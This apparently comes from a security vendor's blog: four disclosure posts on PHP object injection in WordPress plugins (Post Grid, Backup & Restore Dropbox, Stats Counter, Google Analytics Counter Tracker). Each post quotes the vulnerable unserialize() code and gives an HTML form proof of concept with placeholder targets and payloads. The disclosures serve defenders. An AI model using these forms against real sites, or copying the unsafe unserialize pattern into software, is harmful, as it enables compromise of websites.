09 Jan

Vulnerability Details: PHP Object Injection Vulnerability in Post Grid

Back in November we were contacted about a PHP object injection vulnerability in the plugin Post Grid that the person who contacted us had seen exploited. We didn’t include it in our data at the time since they said they were waiting on the “developer to respond etc.” before disclosing it. While looking in to that vulnerability we discovered a file deletion vulnerability in the plugin, which impacted all the version that also had the PHP object injection vulnerability, so anyone using our service or the free data that comes with its companion plugin would have been notified that they were using a vulnerable plugin at the time.

Recently the issue of the vulnerability came up again and we noticed that it still hadn’t been disclosed. Seeing as it has now been two months since it was fixed we will go ahead with the disclosure.

As of version 2.0.11 the plugin made the function post_grid_import_content_layouts() available through WordPress AJAX functionality to those logged in to WordPress and those not logged in:

660
661
add_action('wp_ajax_post_grid_import_content_layouts', 'post_grid_import_content_layouts'); 
add_action('wp_ajax_nopriv_post_grid_import_content_layouts', 'post_grid_import_content_layouts');

That function passes the value of the POST input “layouts_data” through the function unserialize(), which allows the possibility of PHP object injection to occur:

639
640
641
642
function post_grid_import_content_layouts(){
 
	$layouts_data = stripslashes($_POST['layouts_data']);
	$layouts_data = unserialize($layouts_data);

Proof of Concept

The following proof of concept will cause the specified object to be injected.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Object to be Injected]” with the object to be injected.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="post_grid_import_content_layouts" />
<input type="hidden" name="layouts_data" value="[Object to be Injected]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
15 Dec

PHP Object Injection Vulnerability in Backup & Restore Dropbox

Last Friday we had a pair of requests on one of our websites for a file from the plugin Backup & Restore Dropbox, /wp-content/plugins/dropbox-backup/template/css/tool-bar.css. Seeing as we never have had that plugin installed, that request would be likely a hacker probing for usage of the plugin. We quickly found an issue with the plugin’s handling of functions made available through WordPress’ AJAX functionality and notified the developer of the plugin of that issue and that that it looked like hackers were targeting the plugin.

We haven’t heard back from them, but in the meantime we had what look to be probing for usage of one of their other plugins, Stats Counter. In looking over that we quickly found a PHP object injection vulnerability and realized that the same issue was probably what hacker was targeting in this plugin. The vulnerability in this plugin involves substantially similar code, but lets go through it anyway.

In the file /dropbox-backup.php the function wpadm_full_backup_dropbox_run() gets registered to run during init (so it runs whenever WordPress loads):

18
add_action('init', 'wpadm_full_backup_dropbox_run');

That function then causes the function wpadm_run() to run:

25
26
27
28
function wpadm_full_backup_dropbox_run()
{
	wpadm_run('dropbox-backup', dirname(__FILE__));
}

When that function runs, if there is a POST input “dropbox-backup_request” included with the request to the website it will pass it to the function wpadm_unpack() (in the file /functions/wpadm.php):

8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function  wpadm_run($pl, $dir) {
 
	require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-method-class.php';
	$request_name =  $pl . '_request';
	if( isset( $_POST[$request_name] ) ** ! empty ( $_POST[$request_name] ) ) {
		require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
		WPAdm_Core::$cron = false;
		$user_ip = wpadm_getIp();
		if ($_SERVER['SERVER_ADDR'] != $user_ip && $_SERVER['HTTP_USER_AGENT'] != 'dropbox-backup user-agent') {
			WPAdm_Running::init_params_default(false);
		}
		$params = wpadm_unpack($_POST[$request_name]);
		if ( isset($params['type']) ) {
			 wpadm_class::$type = $params['type']; 
		}
		$wpadm = new WPAdm_Core($params, $pl, $dir);
		echo '' . wpadm_pack($wpadm->;getResult()->;toArray()) . '';
		exit;
	}
}

That in turns causes the POST input “dropbox-backup_request” to be run through the function unserialize,which allows the possibility of PHP object injection to occur:

36
37
38
function wpadm_unpack( $str ) {
	return unserialize( base64_decode( $str ) );
}

Proof of Concept

The following proof of concept will cause the specified object to be injected.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Object to be Injected]” with the object to be injected (must be base64 encoded).

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="dropbox-backup_request" value="[Object to be Injected]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 19, 2016 – Contacted plugin’s developer about authenticated information disclosure vulnerability.
  • December 15, 2016 – Notified wordpress.org Plugin Directory of vulnerability.
  • December 15, 2016 – Added vulnerability to free data in the service’s companion plugin.
  • December 15, 2016 – Plugin removed from Plugin Directory.
  • December 16, 2016 – Version 1.4.8, which fixes vulnerability, submitted to Plugin Directory repository.
15 Dec

PHP Object Injection Vulnerability in Stats Counter

Today on one of our websites we had a request for a file from the plugin Stats Counter, /wp-content/plugins/stats-counter/template/css/counter_style.css. Seeing as we have never had that plugin installed, that type of request would usually be an indication that a hacker is probing for usage of the plugin. When we went to start investigating what might be the vulnerability that a hacker would be interested in targeting in that we first noticed that the plugin had been removed from the Plugin Directory. That could be an indication that someone reported a vulnerability in the current version of the plugin to the Plugin Directory or it could have been removed for some other reason, unfortunately the Plugin Directory doesn’t explain why something has been removed. The second thing we noticed was that the plugin was from the developer of the Backup & Restore Dropbox plugin, which we noticed apparent hacker probing for on Friday and we had notified them of one security issue shortly afterwords (we have yet to hear back from them and the vulnerability has not been fixed).

We then started looking over the Stats Counter plugin and found a vulnerability hackers might be interested in targeting, something that also exist Backup & Restore Dropbox plugin, but that we had not properly identified as being the likely vulnerability being targeted in that plugin up until now.

In the file /stats_counter.php, the function wpadm_stat_run() gets registered to run during init (so it runs whenever WordPress loads):
16
add_action('init', 'wpadm_stat_run');

That function then causes the function wpadm_run() to run:

48
49
50
51
52
function wpadm_stat_run()
{
	require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm.php';
	wpadm_run('stat', dirname(__FILE__));
}

When that function runs, if there is a POST input “wpadm_stat_request” included with the request to the website it will pass it to the function wpadm_unpack() (in the file /wpadm.php):

8
9
10
11
12
13
14
15
16
17
18
function  wpadm_run($pl, $dir) {
	@set_time_limit(0);
	require_once dirname(__FILE__) . '/class-wpadm-method-class.php';
	$request_name = 'wpadm_'.$pl.'_request';
	if( isset( $_POST[$request_name] ) &amp;&amp; ! empty ( $_POST[$request_name] ) ) {
		require_once dirname(__FILE__) . '/class-wpadm-core.php';
		$wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
		echo ''.wpadm_pack($wpadm-&gt;getResult()-&gt;toArray()).'';
		exit;
	}
}

That in turns causes the POST input “wpadm_stat_request” to be run through the function unserialize, which allows the possibility of PHP object injection to occur:

27
28
29
function wpadm_unpack( $str ) {
	return unserialize( base64_decode( $str ) );
}

Proof of Concept

The following proof of concept will cause the specified object to be injected.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Object to be Injected]” with the object to be injected (must be base64 encoded).

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="wpadm_stat_request" value="[Object to be Injected]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 15, 2016 – Added vulnerability to free data in the service’s companion plugin.
15 Nov

Vulnerability Details: PHP Object Injection Vulnerability in Google Analytics Counter Tracker

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in the plugin.

Something we are going to be discussing in an upcoming post is the issue of WordPress plugins that have been removed from the Plugin Directory not being returned to it in a timely manner once a fix for the vulnerability has submitted. During the delay  websites using the plugins remain vulnerable to the vulnerability as there is a new version available to update to, so improving the process of reviewing those changes and getting the plugin could improve security. In the meantime we have run into an instance where it looks like hackers might be trying to exploit a vulnerability that has been at least partially fixed, but the plugin remains out of the Plugin Directory.

Yesterday we had a request for the file /wp-content/plugins/analytics-counter/view/scripts/wpadm-ga.js on one of our websites, since the plugin that file is part of, Google Analytics Counter Tracker, is not something that we use that is likely an indication that a hacker was probing for usage of the plugin before exploiting something in it. The plugin is currently not available in the Plugin Directory, possibly indicating that a security issue in it had been reported to the Plugin Directory.

The development log for the plugin shows that an update to the plugin, version 3.4.1, was made four days ago, with the message “- bug fixes”. The changes made in that are an attempt to fix a PHP object injection vulnerability.

In version 3.4.0 in the file class.wpadm-ga.php the function proccessRequest() unserializes user input, which makes PHP objection injection possible:

214
215
216
protected static function proccessRequest() {
	$request_name = self::REQUEST_PARAM_NAME;
	$params = unserialize(base64_decode($_POST[$request_name]));

In 3.4.1 it has been changed to this:

214
215
216
217
218
219
220
221
protected static function proccessRequest() {
	$request_name = self::REQUEST_PARAM_NAME;
 
	$str = base64_decode($_POST[$request_name]);
	if(strpos($str, 'a:2:{') !==0  || preg_match('|O\:\d+|', $str, $m)) {
		exit;
	}
	$params = unserialize($str);

The checks done in the if statement are looking for evidence of object injection in the user input and if so, exiting. Though it isn’t clear to us if this would fully prevent the vulnerability from being exploitable. Ideally you wouldn’t run the unserialize() function on user input at all.

The function proccessRequest() is called in the function init() also in the file class.wpadm-ga.php and that function is in turn run during init, which means there is a possibility of PHP object injection anytime WordPress is loaded:

50
add_action('init', array( 'Wpadm_GA', 'init'));

For customers of our service, as always, if you are using a vulnerable plugin that doesn’t have a fixed version available yet, you can get in touch with us so that we can help you to determine how to best handle the situation until a new fixed version is made available to update to.

Proof of Concept

The following proof of concept will cause the specified object to be injected.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Object to be Injected]” with the object to be injected.

<html>
<head>
</head>
<body>
<form method="post" action="http://[path to WordPress]">
<input type="hidden" name="wpadm_ga_request" value="[Object to be Injected]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>